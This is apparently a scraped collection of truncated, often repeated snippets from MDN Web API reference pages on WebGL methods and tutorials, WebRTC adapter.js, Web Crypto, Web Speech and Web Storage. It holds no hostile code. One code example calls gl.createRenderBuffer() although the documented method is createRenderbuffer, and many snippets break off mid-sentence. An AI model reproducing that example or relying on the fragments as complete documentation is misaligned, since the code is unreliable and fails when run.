WebGL API binds a generic vertex index to an attribute variable. Syntax void gl.bindAttribLocation(program, index, name); Parameters program A
WebGLProgram object to bind. index A GLuint specifying the index of the generic vertex to bind. name A DOMString specifying the name of the variable to bind to the generic vertex index. This name cannot start with "
webgl_" or "_
webgl_", as these are reserved for use by
WebGL. Return value None. Examples gl.bindAttribLocation(program, colorLocation, 'vColor'); Specifications Specification Status Comment
WebGL 1.0The definition of 'bindAttribLocation' in that specification. Recommendation Initial definition. OpenGL ES 2.0The definition of 'glBindAttribLocation' in th...
WebGLRenderingContext.blendEquationSeparate() - Web APIs
The
WebGLRenderingContext.blendEquationSeparate() method of the
WebGL API is used to set the RGB blend equation and alpha blend equation separately. The blend equation determines how a new pixel is combined with a pixel already in the
WebGLFramebuffer. Syntax void gl.blendEquationSeparate(modeRGB, modeAlpha); Parameters modeRGB A GLenum specifying how the red, green and blue components of source and destination colors are combined. Must be either: gl.FUNC_ADD: source + destination (default value), gl.FUNC_SUBTRACT: source - destination, gl.FUNC_REVERSE_SUBTRACT: destination - source, When using the EXT_blend_minmax extension: ext.MIN_EXT: Minimum of source and destination, ext.MAX_EXT: Maximum of source and destination. ...
...lue components of source and destination colors are combined. Must be either: gl.FUNC_ADD: source + destination (default value), gl.FUNC_SUBTRACT: source - destination, gl.FUNC_REVERSE_SUBTRACT: destination - source, When using the EXT_blend_minmax extension: ext.MIN_EXT: Minimum of source and destination, ext.MAX_EXT: Maximum of source and destination. When using a
WebGL 2 context, the following values are available additionally: gl.MIN: Minimum of source and destination, gl.MAX: Maximum of source and destination. modeAlpha A GLenum specifying how the alpha component (transparency) of source and destination colors are combined. Must be either: gl.FUNC_ADD: source + destination (default value), gl.FUNC_SUBTRACT: source - destinatio...
...(transparency) of source and destination colors are combined. Must be either: gl.FUNC_ADD: source + destination (default value), gl.FUNC_SUBTRACT: source - destination, gl.FUNC_REVERSE_SUBTRACT: destination - source, When using the EXT_blend_minmax extension: ext.MIN_EXT: Minimum of source and destination, ext.MAX_EXT: Maximum of source and destination. When using a
WebGL 2 context, the following values are available additionally: gl.MIN: Minimum of source and destination, gl.MAX: Maximum of source and destination. Return value None. Exceptions If mode is not one of the three possible values, a gl.INVALID_ENUM error is thrown. Examples To set the blend equations, use: gl.blendEquationSeparate(gl.FUNC_ADD, gl.FUNC_SUBTRACT); To ge...
...TION, BLEND_EQUATION_RGB and BLEND_EQUATION_ALPHA constants which return gl.FUNC_ADD, gl.FUNC_SUBTRACT, gl.FUNC_REVERSE_SUBTRACT, or if the EXT_blend_minmax is enabled: ext.MIN_EXT or ext.MAX_EXT. gl.getParameter(gl.BLEND_EQUATION_RGB) === gl.FUNC_ADD; // true gl.getParameter(gl.BLEND_EQUATION_ALPHA) === gl.FUNC_ADD; // true Specifications Specification Status Comment
WebGL 1.0The definition of 'blendEquationSeparate' in that specification. Recommendation Initial definition for
WebGL. OpenGL ES 2.0The definition of 'glBlendEquationSeparate' in that specification. Standard Man page of the OpenGL ES 2.0 API. OpenGL ES 3.0The definition of 'glBlendEquationSeparate' in that specification. Standard Man page of the OpenGL ES 3.0 API. ...
WebGLRenderingContext.createRenderbuffer() - Web APIs
Recommendation Initial definition. OpenGL ES 2.0The definition of 'glGenRenderbuffers' in that specification. ...
... Recommendation Initial definition. OpenGL ES 2.0The definition of 'glGenRenderbuffers' in that specification. ...
... Recommendation Initial definition. OpenGL ES 2.0The definition of 'glGenRenderbuffers' in that specification. ...
...erbuffer() method of the
WebGL API creates and initializes a
WebGLRenderbuffer object. Syntax
WebGLRenderbuffer gl.createRenderbuffer(); Parameters None. Return value A
WebGLRenderbuffer object that stores data such an image, or can be source or target of an rendering operation. Examples Creating a render buffer var canvas = document.getElementById('canvas'); var gl = canvas.getContext('
webgl'); var renderBuffer = gl.createRenderBuffer(); Specifications Specification Status Comment
WebGL 1.0The definition of 'createRenderbuffer' in that specification. Recommendation Initial definition. OpenGL ES 2.0The definition of 'glGenRenderbuffers' in that specification. Standard Man page of the (similar) OpenGL API. ...
WebGLRenderingContext.deleteShader() - Web APIs
Recommendation Initial definition. OpenGL ES 2.0The definition of 'glDeleteShader' in that specification. ...
... Recommendation Initial definition. OpenGL ES 2.0The definition of 'glDeleteShader' in that specification. ...
... Recommendation Initial definition. ...
... Recommendation Initial definition. OpenGL ES 2.0The definition of 'glDeleteShader' in that specification. ...
WebGLRenderingContext.detachShader() - Web APIs
Recommendation Initial definition. OpenGL ES 2.0The definition of 'glDetachShader' in that specification. Standard OpenGL man page. ...
... Recommendation Initial definition. OpenGL ES 2.0The definition of 'glDetachShader' in that specification. Standard OpenGL man page. ...
... Recommendation Initial definition. OpenGL ES 2.0The definition of 'glDetachShader' in that specification. Standard OpenGL man page. ...
... Recommendation Initial definition. OpenGL ES 2.0The definition of 'glDetachShader' in that specification. Standard OpenGL man page. ...
WebGLRenderingContext.getAttribLocation() - Web APIs
Recommendation Initial definition. OpenGL ES 2.0The definition of 'glGetAttribLocation' in that specification. ...
... Recommendation Initial definition. OpenGL ES 2.0The definition of 'glGetAttribLocation' in that specification. ...
... Recommendation Initial definition. OpenGL ES 2.0The definition of 'glGetAttribLocation' in that specification. ...
... Recommendation Initial definition. OpenGL ES 2.0The definition of 'glGetAttribLocation' in that specification. ...
WebGLRenderingContext.getBufferParameter() - Web APIs
gl.COPY_WRITE_BUFFER: Buffer for copying from one buffer object to another. gl.TRANSFORM_FEEDBACK_BUFFER: Buffer for transform feedback operations. ...
... gl.COPY_WRITE_BUFFER: Buffer for copying from one buffer object to another. gl.TRANSFORM_FEEDBACK_BUFFER: Buffer for transform feedback operations. gl.UNIFORM_BUFFER: Buffer used for storing uniform blocks. ...
...PIXEL_UNPACK_BUFFER: Buffer used for pixel transfer operations. pname A Glenum specifying information to query. Possible values: gl.BUFFER_SIZE: Returns a GLint indicating the size of the buffer in bytes. gl.BUFFER_USAGE: Returns a GLenum indicating the usage pattern of the buffer. This is either: gl.STATIC_DRAW, gl.DYNAMIC_DRAW, gl.STREAM_DRAW. When using a
WebGL 2 context, the following values are available additionally: gl.STATIC_READ, gl.DYNAMIC_READ, gl.STREAM_READ, gl.STATIC_COPY, gl.DYNAMIC_COPY, gl.STREAM_COPY. Return value Depends on the requested information (as specified with pname). Either a GLint or a GLenum. Examples gl.getBufferParameter(gl.ARRAY_BUFFER, gl.BUFFER_SIZE); ...
... gl.STATIC_READ, gl.DYNAMIC_READ, gl.STREAM_READ, gl.STATIC_COPY, gl.DYNAMIC_COPY, gl.STREAM_COPY. Return value Depends on the requested information (as specified with pname). Either a GLint or a GLenum. Examples gl.getBufferParameter(gl.ARRAY_BUFFER, gl.BUFFER_SIZE); Specifications Specification Status Comment
WebGL 1.0The definition of 'getBufferParameter' in that specification. Recommendation Initial definition for
WebGL. OpenGL ES 2.0The definition of 'glGetBufferParameteriv' in that specification. Standard Man page of the (similar) OpenGL ES 2 API.
WebGL 2.0The definition of 'getBufferParameter' in that specification. Editor's Draft Updated definition for
WebGL. ...
WebGLRenderingContext.getExtension() - Web APIs
The
WebGLRenderingContext.getExtension() method enables a
WebGL extension. Syntax gl.getExtension(name); Parameters name A String for the name of the
WebGL extension to enable. Return value A
WebGL extension object, or null if name does not match (case-insensitive) to one of the strings in
WebGLRenderingContext.getSupportedExtensions. Examples Once a
WebGL extension is enabled, you are able to use the methods, properties or constants that this extension object provides. var canvas = document.getElementById('canvas'); gl = canvas.getContext('
webgl'); gl.getExtension('
WEBGL_lose_context').loseContext();
WebGL extensions Extensions for the
WebGL API are registered in the
WebGL Extension Registry. The current extensions are: ANGLE_instanced_arrays EXT_blend_minmax EXT_colo...
...float_blend EXT_frag_depth EXT_sRGB EXT_shader_texture_lod EXT_texture_compression_bptc EXT_texture_compression_rgtc EXT_texture_filter_anisotropic KHR_parallel_shader_compile OES_element_index_uint OES_fbo_render_mipmap OES_standard_derivatives OES_texture_float OES_texture_float_linear OES_texture_half_float OES_texture_half_float_linear OES_vertex_array_object OVR_multiview2
WEBGL_color_buffer_float
WEBGL_compressed_texture_astc
WEBGL_compressed_texture_atc
WEBGL_compressed_texture_etc
WEBGL_compressed_texture_etc1
WEBGL_compressed_texture_pvrtc
WEBGL_compressed_texture_s3tc
WEBGL_compressed_texture_s3tc_srgb
WEBGL_debug_renderer_info
WEBGL_debug_shaders
WEBGL_depth_texture
WEBGL_draw_buffers
WEBGL_lose_context Specifications Specification Sta...
... Recommendation Initial definition. ...
... Recommendation Initial definition. ...
WebGLRenderingContext.getRenderbufferParameter() - Web APIs
Syntax any gl.getRenderbufferParameter(target, pname); Parameters target A Glenum specifying the target renderbuffer object. Possible values: gl.RENDERBUFFER: Buffer data storage for single images in a renderable internal format. pname A Glenum specifying the information to query. Possible values: gl.RENDERBUFFER_WIDTH: Returns a GLint indicating the width of the image of the currently bound renderbuffer. gl.RENDERBUFFER_HEIGHT: Returns a GLint indicating the height of the image of the currently bound renderbuffer. gl.RENDERBUFFER_INTERNAL_FORMAT: Returns a GLenum indicating the internal format of the currently bound renderbuffer. ...
...t is the resolution size (in bits) for the red color. gl.RENDERBUFFER_ALPHA_SIZE: Returns a GLint that is the resolution size (in bits) for the alpha component. gl.RENDERBUFFER_DEPTH_SIZE: Returns a GLint that is the resolution size (in bits) for the depth component. gl.RENDERBUFFER_STENCIL_SIZE: Returns a GLint that is the resolution size (in bits) for the stencil component. When using a
WebGL 2 context, the following value is available additionally: gl.RENDERBUFFER_SAMPLES: Returns a GLint indicating the number of samples of the image of the currently bound renderbuffer. Return value Depends on the requested information (as specified with pname). Either a GLint or a GLenum. Examples gl.getRenderbufferParameter(gl.RENDERBUFFER, gl.RENDERBUFFER_WIDTH); Specif...
... gl.RENDERBUFFER_SAMPLES: Returns a GLint indicating the number of samples of the image of the currently bound renderbuffer. Return value Depends on the requested information (as specified with pname). Either a GLint or a GLenum. Examples gl.getRenderbufferParameter(gl.RENDERBUFFER, gl.RENDERBUFFER_WIDTH); Specifications Specification Status Comment
WebGL 1.0The definition of 'getRenderbufferParameter' in that specification. Recommendation Initial definition for
WebGL. OpenGL ES 2.0The definition of 'glGetRenderbufferParameteriv' in that specification. Standard Man page of the (similar) OpenGL API.
WebGL 2.0The definition of 'getRenderbufferParameter' in that specification. Editor's Draft Updated definition fo...
... OpenGL ES 3.0The definition of 'glGetRenderbufferParameteriv' in that specification. ...
WebGLRenderingContext.getShaderInfoLog() - Web APIs
Examples Checking compilation messages /* load shader source code. */ gl.shaderSource(shader, shaderCode); /* compile shader source code. ...
... Examples Checking compilation messages /* load shader source code. */ gl.shaderSource(shader, shaderCode); /* compile shader source code. ...
... Examples Checking compilation messages /* load shader source code. */ gl.shaderSource(shader, shaderCode); /* compile shader source code. ...
... a string of length 0. Examples Checking compilation messages /* load shader source code. */ gl.shaderSource(shader, shaderCode); /* compile shader source code. */ gl.compileShader(shader); var message = gl.getShaderInfoLog(shader); if (message.length > 0) { /* message may be an error or a warning */ throw message; } Specifications Specification Status Comment
WebGL 1.0The definition of 'getShaderInfoLog' in that specification. Recommendation Initial definition. OpenGL ES 2.0The definition of 'glGetShaderInfoLog' in that specification. Standard Man page of the OpenGL API. ...
WebGLRenderingContext.getShaderPrecisionFormat() - Web APIs
Exceptions gl.INVALID_ENUM if the shader or precision types aren't recognized. gl.INVALID_OPERATION if the shader compiler isn't supported. ...
... Exceptions gl.INVALID_ENUM if the shader or precision types aren't recognized. gl.INVALID_OPERATION if the shader compiler isn't supported. ...
... Exceptions gl.INVALID_ENUM if the shader or precision types aren't recognized. gl.INVALID_OPERATION if the shader compiler isn't supported. ...
...GLShaderPrecisionFormat object or null, if an error occurs. Exceptions gl.INVALID_ENUM if the shader or precision types aren't recognized. gl.INVALID_OPERATION if the shader compiler isn't supported. Examples The following code gets the precision format of a gl.VERTEX_SHADER with a gl.MEDIUM_FLOAT precision type. var canvas = document.getElementById('canvas'); var gl = canvas.getContext('
webgl'); gl.getShaderPrecisionFormat(gl.VERTEX_SHADER, gl.MEDIUM_FLOAT); //
WebGLShaderPrecisionFormat { rangeMin: 127, rangeMax: 127, precision: 23 } Specifications Specification Status Comment
WebGL 1.0The definition of 'getShaderPrecisionFormat' in that specification. Recommendation Initial definition. OpenGL ES 2.0The definition of 'glGetShaderPrecisionF...
WebGLRenderingContext.getSupportedExtensions() - Web APIs
The
WebGLRenderingContext.getSupportedExtensions() method returns a list of all the supported
WebGL extensions. Syntax gl.getSupportedExtensions(); Return value An Array of strings with all the supported
WebGL extensions. Examples var canvas = document.getElementById('canvas'); gl = canvas.getContext('
webgl'); var extensions = gl.getSupportedExtensions(); // Array [ 'ANGLE_instanced_arrays', 'EXT_blend_minmax', ... ] See also the
WebGLRenderingContext.getExtension() method to get a specific extension object.
WebGL extensions Extensions for the
WebGL API are registered in the
WebGL Extension Registry. The current extensions are: ANGLE_instanced_arrays EXT_blend_minmax EXT_color_buffer_float EXT_color_buffer_half_float EXT_disjoint_timer_query EXT_float_blend EXT_frag_de...
...float_blend EXT_frag_depth EXT_sRGB EXT_shader_texture_lod EXT_texture_compression_bptc EXT_texture_compression_rgtc EXT_texture_filter_anisotropic KHR_parallel_shader_compile OES_element_index_uint OES_fbo_render_mipmap OES_standard_derivatives OES_texture_float OES_texture_float_linear OES_texture_half_float OES_texture_half_float_linear OES_vertex_array_object OVR_multiview2
WEBGL_color_buffer_float
WEBGL_compressed_texture_astc
WEBGL_compressed_texture_atc
WEBGL_compressed_texture_etc
WEBGL_compressed_texture_etc1
WEBGL_compressed_texture_pvrtc
WEBGL_compressed_texture_s3tc
WEBGL_compressed_texture_s3tc_srgb
WEBGL_debug_renderer_info
WEBGL_debug_shaders
WEBGL_depth_texture
WEBGL_draw_buffers
WEBGL_lose_context Specifications Specification Sta...
... Recommendation Initial definition. ...
... Recommendation Initial definition. ...
WebGLRenderingContext.getTexParameter() - Web APIs
The
WebGLRenderingContext.getTexParameter() method of the
WebGL API returns information about the given texture. Syntax any gl.getTexParameter(target, pname); Parameters target A GLenum specifying the binding point (target). Possible values: gl.TEXTURE_2D: A two-dimensional texture. gl.TEXTURE_CUBE_MAP: A cube-mapped texture. When using a
WebGL 2 context, the following values are available additionally: gl.TEXTURE_3D: A three-dimensional texture. gl.TEXTURE_2D_ARRAY: A two-dimensional array texture. pname A Glenum specifying the information to query. ...
... gl.TEXTURE_MIN_FILTER GLenum Texture minification filter gl.LINEAR, gl.NEAREST, gl.NEAREST_MIPMAP_NEAREST, gl.LINEAR_MIPMAP_NEAREST, gl.NEAREST_MIPMAP_LINEAR (default value), gl.LINEAR_MIPMAP_LINEAR. ...
... gl.TEXTURE_WRAP_T GLenum Wrapping function for texture coordinate t gl.REPEAT (default value), gl.CLAMP_TO_EDGE, gl.MIRRORED_REPEAT. Additionally available when using the EXT_texture_filter_anisotropic extension ext.TEXTURE_MAX_ANISOTROPY_EXT GLfloat Maximum anisotropy for a texture Any float values. Additionally available when using a
WebGL 2 context gl.TEXTURE_BASE_LEVEL GLint Texture mipmap level Any int values. gl.TEXTURE_COMPARE_FUNC GLenum Comparison function gl.LEQUAL (default value), gl.GEQUAL, gl.LESS, gl.GREATER, gl.EQUAL, gl.NOTEQUAL, gl.ALWAYS, gl.NEVER. gl.TEXTURE_COMPARE_MODE GLenum Texture comparison mode gl.NONE (default value), gl.COMPARE_REF_T...
... GLenum Wrapping function for texture coordinate r gl.REPEAT (default value), gl.CLAMP_TO_EDGE, gl.MIRRORED_REPEAT. Return value Returns the requested texture information (as specified with pname). If an error occurs, null is returned. Examples gl.getTexParameter(gl.TEXTURE_2D, gl.TEXTURE_MAG_FILTER); Specifications Specification Status Comment
WebGL 1.0The definition of 'getTexParameter' in that specification. Recommendation Initial definition for
WebGL. OpenGL ES 2.0The definition of 'glGetTexParameter' in that specification. Standard Man page of the (similar) OpenGL ES 2.0 API.
WebGL 2.0The definition of 'getTexParameter' in that specification. Editor's Draft Updated definition for
WebGL. Open...
WebGLRenderingContext.getVertexAttrib() - Web APIs
gl.VERTEX_ATTRIB_ARRAY_ENABLED: Returns a GLboolean that is true if the vertex attribute is enabled at this index. Otherwise false. gl.VERTEX_ATTRIB_ARRAY_SIZE: Returns a GLint indicating the size of an element of the vertex array. gl.VERTEX_ATTRIB_ARRAY_STRIDE: Returns a GLint indicating the number of bytes between successive elements in the array. ...
... gl.VERTEX_ATTRIB_ARRAY_ENABLED: Returns a GLboolean that is true if the vertex attribute is enabled at this index. Otherwise false. gl.VERTEX_ATTRIB_ARRAY_SIZE: Returns a GLint indicating the size of an element of the vertex array. gl.VERTEX_ATTRIB_ARRAY_STRIDE: Returns a GLint indicating the number of bytes between successive elements in the array. ...
... gl.UNSIGNED_BYTE, gl.SHORT, gl.UNSIGNED_SHORT, gl.FLOAT. gl.VERTEX_ATTRIB_ARRAY_NORMALIZED: Returns a GLboolean that is true if fixed-point data types are normalized for the vertex attribute array at the given index. gl.CURRENT_VERTEX_ATTRIB: Returns a Float32Array (with 4 elements) representing the current value of the vertex attribute at the given index. When using a
WebGL 2 context, the following values are available additionally: gl.VERTEX_ATTRIB_ARRAY_INTEGER: Returns a GLboolean indicating whether or not an integer data type is in the vertex attribute array at the given index. gl.VERTEX_ATTRIB_ARRAY_DIVISOR: Returns a GLint describing the frequency divisor used for instanced rendering. When using the ANGLE_instanced_arrays extension: ...
...tanced_arrays extension: ext.VERTEX_ATTRIB_ARRAY_DIVISOR_ANGLE: Returns a GLint describing the frequency divisor used for instanced rendering. Return value Returns the requested vertex attribute information (as specified with pname). Examples gl.getVertexAttrib(0, gl.VERTEX_ATTRIB_ARRAY_BUFFER_BINDING); Specifications Specification Status Comment
WebGL 1.0The definition of 'getVertexAttrib' in that specification. Recommendation Initial definition for
WebGL. OpenGL ES 2.0The definition of 'glGetVertexAttrib' in that specification. Standard Man page of the OpenGL ES 2 API.
WebGL 2.0The definition of 'getVertexAttrib' in that specification. Editor's Draft Updated definition for
WebGL 2. OpenGL ES 3.0T...
WebGLRenderingContext.isContextLost() - Web APIs
Examples include: Two or more pages are using the GPU, but together place too high a demand on the GPU, so the browser tells the two contexts that they've lost the connection, then selects one of the two to restore access for. ...
...Examples include: Two or more pages are using the GPU, but together place too high a demand on the GPU, so the browser tells the two contexts that they've lost the connection, then selects one of the two to restore access for. ...
...obile and desktop class GPUs, the former used primarily when on battery power), and the user or system decides to switch GPUs. In this case, all contexts are lost, then restored after switching GPUs. Another page running in the user's browser performs an operation using the GPU that takes too long, causing hte browser to decide to reset the GPU in order to break the stall. This would cause every
WebGL context to be lost throughout the entire browser. The user updates their graphics driver on an operating system that allows graphics drivers to be updated without restarting the system. Examples For example, when checking for program linking success, you could also check if the context is not lost: gl.linkProgram(program); if (!gl.getProgramParameter(program, gl.LINK_STATUS) && !gl.isCont...
...he system. Examples For example, when checking for program linking success, you could also check if the context is not lost: gl.linkProgram(program); if (!gl.getProgramParameter(program, gl.LINK_STATUS) && !gl.isContextLost()) { var info = gl.getProgramInfoLog(program); console.log('Error linking program:\n' + info); } Specifications Specification Status Comment
WebGL 1.0The definition of '
WebGLRenderingContext.isContextLost' in that specification. Recommendation Initial definition. ...
Animating textures in WebGL - Web APIs
video.play(); function checkReady() { if (playing && timeupdate) { copyVideo = true; } } return video; } First we create a video element. We set it to autoplay, mute the sound, and loop the video. We then set up two events to make sure the video is playing and the time has been updated. We need both of these checks because it will produce an error if you upload a video to
WebGL that has no data available yet. Checking for both of these events guarantees there is data available and it's safe to start uploading video to a
WebGL texture. In the code above, we confirm whether we got both of those events; if so, we set a global variable, copyVideo, to true to indicate that it's safe to start copying the video to a texture. And finally, we set the src attribute to start an...
...That means that you'll not only need to deploy code like using a secure
web server, but you'll need a secure server to test with as well. See How do you set up a local testing server? for help. Using the video frames as a texture The next change is to initTexture(), which becomes much simpler, since it no longer needs to load an image file. ...
...nts; if so, we set a global variable, copyVideo, to true to indicate that it's safe to start copying the video to a texture. And finally, we set the src attribute to start and call play to start loading and playing the video. The video must be loaded from a secure source in order to be used to provide texture data to
WebGL. That means that you'll not only need to deploy code like using a secure
web server, but you'll need a secure server to test with as well. See How do you set up a local testing server? for help. Using the video frames as a texture The next change is to initTexture(), which becomes much simpler, since it no longer needs to load an image file. Instead, all it does is create an empty texture object, put a single pixel in it, and set its filtering for later use: function i...
... gl.RGBA; const srcType = gl.UNSIGNED_BYTE; gl.bindTexture(gl.TEXTURE_2D, texture); gl.texImage2D(gl.TEXTURE_2D, level, internalFormat, srcFormat, srcType, video); } You've seen this code before. It's nearly identical to the image onload function in the previous example -- except when we call texImage2D(), instead of passing an Image object, we pass in the <video> element.
WebGL knows how to pull the current frame out and use it as a texture. Then in main() in place of the call to loadTexture() in the previous example, we call initTexture() followed by setupVideo() . In the definition of render() if copyVideo is true, then we call updateTexture() each time just before we call the drawScene() function. const texture = initTexture(gl); const video = setupVideo('...
Using shaders to apply color in WebGL - Web APIs
eated a square plane in the previous demonstration, the next obvious step is to add a splash of color to it. We can do this by revising the shaders. This example uses the glMatrix library to perform its matrix and vertex math. You'll need to include it if you create your own project based on this code. Our sample loads a copy from a CDN in our HTML's <head>. Applying color to the vertices In
WebGL objects are built using sets of vertices, each of which has a position and a color. By default, all other pixels' colors (and all its other attributes, including position) are computed using interpolation, automatically creating smooth gradients. Previously, our vertex shader didn't apply any specific colors to the vertices. Between this and the fragment shader assigning the fixed color of whit...
...he fragment shader assigning the fixed color of white to each pixel, the entire square was rendered as solid white. Let's say we want to render a gradient in which each corner of the square is a different color: red, blue, green, and white. The first thing to do is to establish these colors for the four vertices. To do this, we first need to create an array of vertex colors, then store it into a
WebGL buffer. We'll do that by adding the following code to our initBuffers() function: function initBuffers(){ ... const colors = [ 1.0, 1.0, 1.0, 1.0, // white 1.0, 0.0, 0.0, 1.0, // red 0.0, 1.0, 0.0, 1.0, // green 0.0, 0.0, 1.0, 1.0, // blue ]; const colorBuffer = gl.createBuffer(); gl.bindBuffer(gl.ARRAY_BUFFER, colorBuffer); gl.bufferData(gl...
... 0.0, 0.0, 1.0, 1.0, // blue ]; const colorBuffer = gl.createBuffer(); gl.bindBuffer(gl.ARRAY_BUFFER, colorBuffer); gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(colors), gl.STATIC_DRAW); return { position: positionBuffer, color: colorBuffer, }; } This code starts by creating a JavaScript array containing four 4-value vectors, one for each vertex color. Then a new
WebGL buffer is allocated to store these colors, and the array is converted into floats and stored into the buffer. To use these colors, the vertex shader needs to be updated to pull the appropriate color from the color buffer: const vsSource = ` attribute vec4 aVertexPosition; attribute vec4 aVertexColor; uniform mat4 uModelViewMatrix; uniform mat4 uProjectionMatrix; varyin...
...t attribute for the shader program: const programInfo = { program: shaderProgram, attribLocations: { vertexPosition: gl.getAttribLocation(shaderProgram, 'aVertexPosition'), vertexColor: gl.getAttribLocation(shaderProgram, 'aVertexColor'), }, ... Then, drawScene() can have the following added to it so it actually uses these colors when drawing the square: // Tell
WebGL how to pull out the colors from the color buffer // into the vertexColor attribute. { const numComponents = 4; const type = gl.FLOAT; const normalize = false; const stride = 0; const offset = 0; gl.bindBuffer(gl.ARRAY_BUFFER, buffers.color); gl.vertexAttribPointer( programInfo.attribLocations.vertexColor, numComponents, type, norma...
Improving compatibility using WebRTC adapter.js - Web APIs
While the
WebRTC specification is relatively stable, not all browsers have fully implemented all of its features. In addition, some browsers still have prefixes on some or all
WebRTC APIs. While you can manually code around these issues, there is an easier way. The
WebRTC organization provides on GitHub the
WebRTC adapter to work around compatibility issues in different browsers'
WebRTC implementations. The adapter is a JavaScript shim which lets your code to be written to the specification so that it will "just work" in all browsers with
WebRTC support. There's no need to conditionally use prefixed APIs or implement other workarounds. ...
...ork around compatibility issues in different browsers'
WebRTC implementations. The adapter is a JavaScript shim which lets your code to be written to the specification so that it will "just work" in all browsers with
WebRTC support. There's no need to conditionally use prefixed APIs or implement other workarounds. Note: Since there is ongoing fluidity in functionality and naming of API terms in
WebRTC and supporting browsers, use of this adapter is generally recommended. The adapter is provided under a BSD-style license. What adapter.js does For each version of each browser that supports
WebRTC, adapter.js implements the needed polyfills, establishes the non-prefixed names of APIs, and applies any other changes needed to make the browser run code written to the
WebRTC specification. Fo...
... Place it in your site's directory structure (such as in your scripts directory). ...
...e on Chrome, the adapter adds support for the Promise based API is added if it's not present. These are just a couple of examples; there are of course other adjustments made for you by the shim. The
WebRTC adapter currently supports Mozilla Firefox, Google Chrome, Apple Safari, and Microsoft Edge. Using adapter.js In order to use adapter.js, you need to include adapter.js on any page that uses
WebRTC APIs: Download a copy of the latest version of adapter.js from GitHub. Place it in your site's directory structure (such as in your scripts directory). Include adapter.js in your project: <script src="adapter.js"></script> Write your code, using
WebRTC APIs per the specification, knowing that your code should work on all browsers. Keep in mind that even a good shim like this one doesn't...
Web Crypto API - Web APIs
It's very easy to misuse them, and the pitfalls involved can be very subtle. Even assuming you use the basic cryptographic functions correctly, secure key management and overall security system design are extremely hard to get right, and are generally the domain of specialist security experts. Errors in security system design and implementation can make the security of the system completely ineffective. If you're not sure you know what you are doing, you probably shouldn't be using this API. ...
...n make the security of the system completely ineffective. If you're not sure you know what you are doing, you probably shouldn't be using this API. Interfaces Some browsers implemented an interface called Crypto without having it well defined or being cryptographically sound. ...
...he system completely ineffective. If you're not sure you know what you are doing, you probably shouldn't be using this API. Interfaces Some browsers implemented an interface called Crypto without having it well defined or being cryptographically sound. ...
...defined or being cryptographically sound. In order to avoid confusion, methods and properties of this interface have been removed from browsers implementing the
Web Crypto API, and all
Web Crypto API methods are available on a new interface: SubtleCrypto. ...
Web Speech API - Web APIs
There are two components to this API: Speech recognition is accessed via the SpeechRecognition interface, which provides the ability to recognize voice context from an audio input (normally via the device's default speech recognition service) and respond appropriately. Generally you'll use the interface's constructor to create a new SpeechRecognition object, which has a number of event handlers available for detecting when speech is input through the device's microphone. ...
...ead out their text content (normally via the device's default speech synthesiser.) Different voice types are represented by SpeechSynthesisVoice objects, and different parts of text that you want to be spoken are represented by SpeechSynthesisUtterance objects. You can get these spoken by passing them to the SpeechSynthesis.speak() method. For more details on using these features, see Using the
Web Speech API.
Web Speech API Interfaces Speech recognition SpeechRecognition The controller interface for the recognition service; this also handles the SpeechRecognitionEvent sent from the recognition service. SpeechRecognitionAlternative Represents a single word that has been recognised by the speech recognition service. SpeechRecognitionError Represents error messages from the recognit...
...ce has its own relative speech service including information about language, name and URI. ...
...terface called SpeechSynthesisGetter, and Implemented by the Window object, the speechSynthesis property provides access to the SpeechSynthesis controller, and therefore the entry point to speech synthesis functionality. Examples The
Web Speech API repo on GitHub contains demos to illustrate speech recognition and synthesis. Specifications Specification Status Comment
Web Speech API Draft Initial definition ...
Using the Web Storage API - Web APIs
The
Web Storage API provides mechanisms by which browsers can securely store key/value pairs. This article provides a walkthrough of how to make use of this technology. Basic concepts Storage objects are simple key-value stores, similar to objects, but they stay intact through page loads. The keys and the values are always strings (note that, as with objects, integer keys will be automatically converted to strings). You can access these values like an object, or with the Storage.getItem() and Storage.setItem() methods. ...
...ith objects, integer keys will be automatically converted to strings). You can access these values like an object, or with the Storage.getItem() and Storage.setItem() methods. These three lines all set the (same) colorSetting entry: localStorage.colorSetting = '#a4509b'; localStorage['colorSetting'] = '#a4509b'; localStorage.setItem('colorSetting', '#a4509b'); Note: It's recommended to use the
Web Storage API (setItem, getItem, removeItem, key, length) to prevent the pitfalls associated with using plain objects as key-value stores. The two mechanisms within
Web Storage are as follows: sessionStorage maintains a separate storage area for each given origin that's available for the duration of the page session (as long as the browser is open, including page reloads and restores). localS...
...ge && storage.length !== 0); } } And here is how you would use it: if (storageAvailable('localStorage')) { // Yippee! We can use localStorage awesomeness } else { // Too bad, no localStorage for us } You can test for sessionStorage instead by calling storageAvailable('sessionStorage'). See here for a brief history of feature-detecting localStorage. Example To illustrate some typical
web storage usage, we have created an example, imaginatively called
Web Storage Demo. The landing page provides controls that can be used to customize the color, font, and decorative image: When you choose different options, the page is instantly updated; in addition, your choices are stored in localStorage, so that when you leave the page and load it again, later on, your choices are remembered. W...
...gin is changed. As you can see above, the event object associated with this event has a number of properties containing useful information -- the key of the data that changed, the old value before the change, the new value after that change, the URL of the document that changed the storage, and the storage object itself (which we've stringified so you can see its content). Deleting data records
Web Storage also provides a couple of simple methods to remove data. We don't use these in our demo, but they are very simple to add to your project: Storage.removeItem() takes a single argument -- the key of the data item you want to remove -- and removes it from the storage object for that domain. Storage.clear() takes no arguments, and simply empties the entire storage object for that domain. ...
Web Storage API - Web APIs
Data is never transferred to the server. Storage limit is larger than a cookie (at most 5MB). localStorage does the same thing, but persists even when the browser is closed and reopened. ...
...ject, through which data items can be set, retrieved and removed. A different Storage object is used for the sessionStorage and localStorage for each origin -- they function and are controlled separately. Note: From Firefox 45 onwards, when the browser crashes/restarts, the amount of data saved per origin is limited to 10MB. This has been done to avoid memory issues caused by excessive usage of
web storage. Note: Access to
Web Storage from third-party IFrames is denied if the user has disabled third-party cookies (Firefox implements this behaviour from version 43 onwards.) Note:
Web Storage is not the same as mozStorage (Mozilla's XPCOM interfaces to SQLite) or the Session store API (an XPCOM storage utility for use by extensions).
Web Storage interfaces Storage Allows you to se...
... third-party cookies (Firefox implements this behaviour from version 43 onwards.) Note:
Web Storage is not the same as mozStorage (Mozilla's XPCOM interfaces to SQLite) or the Session store API (an XPCOM storage utility for use by extensions).
Web Storage interfaces Storage Allows you to set, retrieve and remove data for a specific domain and storage type (session or local.) Window The
Web Storage API extends the Window object with two new properties -- Window.sessionStorage and Window.localStorage -- which provide access to the current domain's session and local Storage objects respectively, and a Window.onstorage event handler that fires when a storage area changes (e.g. a new item is stored.) StorageEvent The storage event is fired on a document's Window object when a storage ...
